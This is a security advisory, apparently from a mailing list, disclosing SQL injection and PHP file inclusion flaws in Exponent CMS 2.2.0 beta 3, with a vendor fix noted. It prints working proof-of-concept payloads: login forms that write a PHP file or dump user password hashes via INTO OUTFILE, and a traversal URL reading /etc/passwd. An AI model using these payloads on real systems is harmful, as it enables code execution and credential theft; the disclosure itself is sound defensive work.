Advisory ID: HTB23154
Product: Exponent CMS
Vendor: Online Innovative Creations
Vulnerable Version(s): 2.2.0 beta 3 and probably prior
Tested Version: 2.2.0 beta 3
Vendor Notification: April 24, 2013=20
Vendor Patch: May 3, 2013=20
Public Disclosure: May 15, 2013=20
Vulnerability Type: SQL Injection [CWE-89], PHP File Inclusion [CWE-98]
CVE References: CVE-2013-3294, CVE-2013-3295
Risk Level: High=20
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.6 (AV:N/AC:H/Au:N/C=
:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities =
in Exponent CMS, which can be exploited to execute arbitrary SQL commands i=
n the database of vulnerable application and execute arbitrary PHP code on =
the vulnerable system.
1) SQL Injection in Exponent CMS: CVE-2013-3294
The vulnerability exists due to insufficient filtration of "src" and "usern=
ame" HTTP GET parameters passed to "/index.php" script. A remote unauthenti=
cated attacker can execute arbitrary SQL commands in application's database=
=2E
Depending on database and system configuration, the PoC (Proof-of-Concept) =
code below will create a "/var/www/file.php" file with PHP function 'phpinf=
o()':
<form action=3D"http://[host]/index.php" method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"action" value=3D"login">
<input type=3D"hidden" name=3D"int" value=3D"1">
<input type=3D"hidden" name=3D"module" value=3D"login">
<input type=3D"hidden" name=3D"password" value=3D"password">
<input type=3D"hidden" name=3D"src" value=3D"' UNION SELECT '<? phpinf=
o(); ?>' INTO OUTFILE '/var/www/file.php' -- ">
<input type=3D"hidden" name=3D"username" value=3D"' UNION SELECT '<? phpinf=
o(); ?>' INTO OUTFILE '/var/www/file.php' -- ">
<input type=3D"submit" id=3D"btn">
</form>
The second PoC will attempt to create "/var/www/file.txt" file, containing =
usernames and hashed passwords of all application's users:=20
<form action=3D"http://[host]/index.php" method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"action" value=3D"login">
<input type=3D"hidden" name=3D"int" value=3D"1">
<input type=3D"hidden" name=3D"module" value=3D"login">
<input type=3D"hidden" name=3D"password" value=3D"password">
<input type=3D"hidden" name=3D"src" value=3D"' UNION SELECT CONCAT_WS(=
':',username,password) FROM `exponent_user` INTO OUTFILE '/var/www/file.txt=
' -- ">
<input type=3D"hidden" name=3D"username" value=3D"' UNION SELECT CONCAT_WS(=
':',username,password) FROM `exponent_user` INTO OUTFILE '/var/www/file.txt=
' -- ">
<input type=3D"submit" id=3D"btn">
</form>
2) PHP File Inclusion in Exponent CMS: CVE-2013-3295
The vulnerability is caused by improper filtration of user-supplied input p=
assed via the "page" HTTP GET parameter to "/install/popup.php" script, whi=
ch is publicly accessible after CMS installation by default. A remote unaut=
henticated attacker can include arbitrary PHP files from the local system u=
sing directory traversal sequences with URL-encoded NULL byte, read arbitra=
ry files or execute arbitrary PHP code on the target system.=20
The PoC code below will output the content of '/etc/passwd' file on vulnera=
ble system:
http://[host]/install/popup.php?page=3D../../../../etc/passwd%00
---------------------------------------------------------------------------=
--------------------
Solution:
Upgrade to Exponent CMS v2.2.0 Release Candidate 1
More Information:
http://www.exponentcms.org/news/release-candidate-1-v2-2-0-set-loose
http://forums.exponentcms.org/viewtopic.php?f=3D16&t=3D789
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23154 - https://www.htbridge.com/advisory/=
HTB23154 - Multiple Vulnerabilities in Exponent CMS.
[2] Exponent CMS - http://www.exponentcms.org - Exponent is a website conte=
nt management system (or CMS) that allows site owners to easily create and =
manage dynamic websites without necessarily directly coding web pages, or m=
anaging site navigation.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.